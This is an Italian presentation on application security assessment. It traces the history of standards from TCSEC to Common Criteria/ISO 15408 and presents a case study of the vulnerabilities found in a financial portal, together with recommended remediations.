Il contesto normativo (1/2) 1980: Gli Stati Uniti sviluppano "Trusted Computer System Evaluation Criteria (TCSEC)" 1980-1990: Nella decade successiva, alcuni paesi europei (Francia, Germania, Olanda, e Regno Unito) sviluppano "Information Technology Security Evaluation Criteria (ITSEC)" pubblicato nel 1991 dalla Commissione Europea. Lo standard si basa su TCSEC, ma tiene conto della rapida evoluzione dell'it. 1990: La ISO crea un gruppo di lavoro (WG 3) all'interno del sottocomitato 27 (SC 27) del Joint Tecnical Committee 1 (JTC 1) allo scopo di creare uno standard internazionale. 1993: Il Canada pubblica "Canadian Trusted Computer Product Evaluation Criteria (CTCPEC)", una combinazione tra TCSEC e ITSEC. 1993: Anche gli Stati Uniti recepiscono le innovazioni di ITSEC in una prima bozza dei "Federal Criteria for Information Technology Security (FC)"

Il contesto normativo (2/2) 1993: Le organizzazioni sponsor di ITSEC, CTCPEC, FC e TCSEC (Canada, Francia, Germania, Olanda, Stati Uniti) si uniscono in un progetto di armonizzazione chiamato "Common Criteria (CC) Project". 1996: La versione 1.0 dei CC viene completata in gennaio 1996 e approvata da ISO in aprile 1996. 1999: Dopo tre anni di esperienza nell'applicazione della norma viene pubblicata la versione 2.1 come ISO/IEC 15408. 2000: Australia, Canada, Finlandia, Francia, Gran Bretagna, Germania, Grecia, Italia, Norvegia, Nuova Zelanda, Olanda, Spagna e Stati Uniti firmano l'accordo di riconoscimento reciproco di certificati e profili di sicurezza basati sui CC.

I limiti dell approccio attuale L analisi delle vulnerabilità a livello applicativo non viene presa in considerazione oppure viene percepita come secondaria rispetto a quella delle infrastrutture laboriosa (e quindi troppo costosa) invasiva (se include attività di code analysis) Nei security assessment non si tiene conto delle applicazioni sono rilevate solo le vulnerabilità della rete e dei sistemi sono rilevate parzialmente solo le relazioni di trust evidenti a livello di rete Ne risulta uno sbilanciamento delle priorità a favore della sicurezza nella gestione dei sistemi un falso senso di sicurezza dovuto ad un elevato livello di vulnerabilità nelle applicazioni.

ISO/IEC 15408 Security Context

CC Security Environment

CC Security Requirements and Specification

Struttura di un vulnerability assessment 1. Rilevazione dell architettura applicativa 2. Analisi dei possibili attacchi e del loro impatto 3. Individuazione di una baseline riconosciuta per il livello di protezione rilevato 4. Rilevazione delle misure di sicurezza esistenti 5. Analisi delle vulnerabilità su un campione di codice applicativo (code analysis) 6. Gap Analysis (tra baseline e misure di sicurezza rilevate) 7. Elenco delle misure di sicurezza assenti o insufficientemente implementate e delle relative minacce 8. Elaborazione di raccomandazioni e suggerimenti

Case Study: Portale Finanziario Ambito: Insieme di portali rivolti distinte tipologie di utenti Utenze registrate: ca. 350.000 Utenze previste nel breve-medio termine: 1.000.000 Applicazione distribuita su 9 sistemi Sistemi operativi utilizzati: Windows, UNIX, MVS Struttura applicativa multilivello con Portal Server, Application Server, Database Server e Transaction Processing System di back end 3882 file con codice Visual Basic 533 file con codice Java 8599 file di altro genere Obiettivi: rilevare un numero significativo di vulnerabilità con un approccio grey-box individuare azioni indirizzate all abbassamento del livello di esposizione al rischio

Case Study: Attività svolta 1. Rilevazione delle configurazioni hardware/software e determinazione dell ambito di analisi 2. Analisi di un campione ristretto e sviluppo di test automatizzati. 3. Estensione dell analisi con test automatizzati. 4. Classificazione delle vulnerabilità riscontrate. 5. Valutazione complessiva e documentazione dei risultati. 6. Individuazione di possibili azioni correttive

Case Study: Problemi riscontrati I portali presentavano numerose vulnerabilità causate da errori di programmazione 252 errori di validazione dell input 293 errori di autenticazione e di controllo degli accessi 28 errori di design 96 programmi con chiavi di autenticazione in chiaro (67 accessibili all utente anonimo da Internet) Le possibili violazioni comprendevano l accesso a dati riservati di utenti (39% dei casi) la manipolazione dei dati inviati dal portale all utente (54% dei casi) la modifica arbitraria di dati nel database dei portali (1% dei casi) la generazione di denial-of-service (22% dei casi)

Case Study: Problemi riscontrati (cont.) L architettura di sicurezza non era adatta a contenere l impatto, che era sempre grave in quanto il web/portal server operava con i massimi privilegi concessi dal sistema operativo; nel web/portal server erano presenti e facilmente accessibili le chiavi di accesso ai database e ad altri sistemi; l application server concedeva all utente anonimo diritti di esecuzione sulle applicazioni di tutti i portali; i meccanismi di auditing implementati non permettevano di monitorare sufficientemente le vulnerabilità presenti; il numero di interconnessioni tra i confini di sicurezza era troppo elevato per permettere un controllo efficace (oltre 100 connessioni indipendenti al database server).

Problemi riscontrati (cont.) L architettura di sicurezza presentava limitazioni di interoperabilità con applicazioni esterne per quanto concerne single sign-on (accesso da e verso i servizi del portale) web services (le funzioni di autenticazione e controllo accessi erano legate all interfaccia utente; non era previsto un controllo accessi per applicazioni esterne) L organizzazione dei processi non premetteva di ottenere maggiore sicurezza: il processo di trasporto (dallo sviluppo alla produzione) non prevedeva la verifica della sicurezza; non esistevano requisiti e specifiche di sicurezza per le applicazioni; non esistevano politiche e procedure di sicurezza per lo sviluppo e la produzione.

Aree di intervento Revisione dell'architettura di sicurezza Riduzione della vulnerabilità complessiva attraverso l uso di profili di autorizzazione più restrittivi (role-based access control) Ridisegno dell architettura applicativa al fine di restringere i punti di interazione con i trust boundary. Progettazione e realizzazione di un'architettura che integra le funzioni di Identity & Privilege Management Revisione del codice applicativo Workshop di sensibilizzazione Eliminazione puntuale delle vulnerabilità accertate Code review su tutto il codice prima di qualsiasi rilascio Verifica dei risultati Definizione e diffusione obiettivi e politiche di sicurezza concernenti Lo sviluppo, il rilascio, l'installazione e la gestione delle applicazioni e dei sistemi che compongono l'area portale

I principi Per costruire sistemi applicativi più sicuri è necessario Definire correttamente requisiti e specifiche di sicurezza (descrivere quali caratteristiche di sicurezza vogliamo e cosa deve fare chi le sviluppa per realizzarle) Definire delle metriche per la sicurezza e applicare procedure di testing, valutazione e assessment (controllare che abbiamo ottenuto ciò che abbiamo richiesto)

Conclusioni I dati sulle vulnerabilità nei software più diffusi evidenziano quanto sia importante individuare ed abbassare il livello di vulnerabilità delle applicazioni. Per poter anche solo monitorare le vulnerabilità esistenti è necessario conoscerne la tipologia presente. Le attività di security testing attualmente praticate forniscono un quadro parziale, insufficiente per proteggere dai rischi più gravi. Per abbassare il livello di vulnerabilità delle applicazioni è necessario definire requisiti e specifiche di sicurezza e controllarne l applicazione. L analisi delle vulnerabilità delle applicazioni è il primo passo in questa direzione.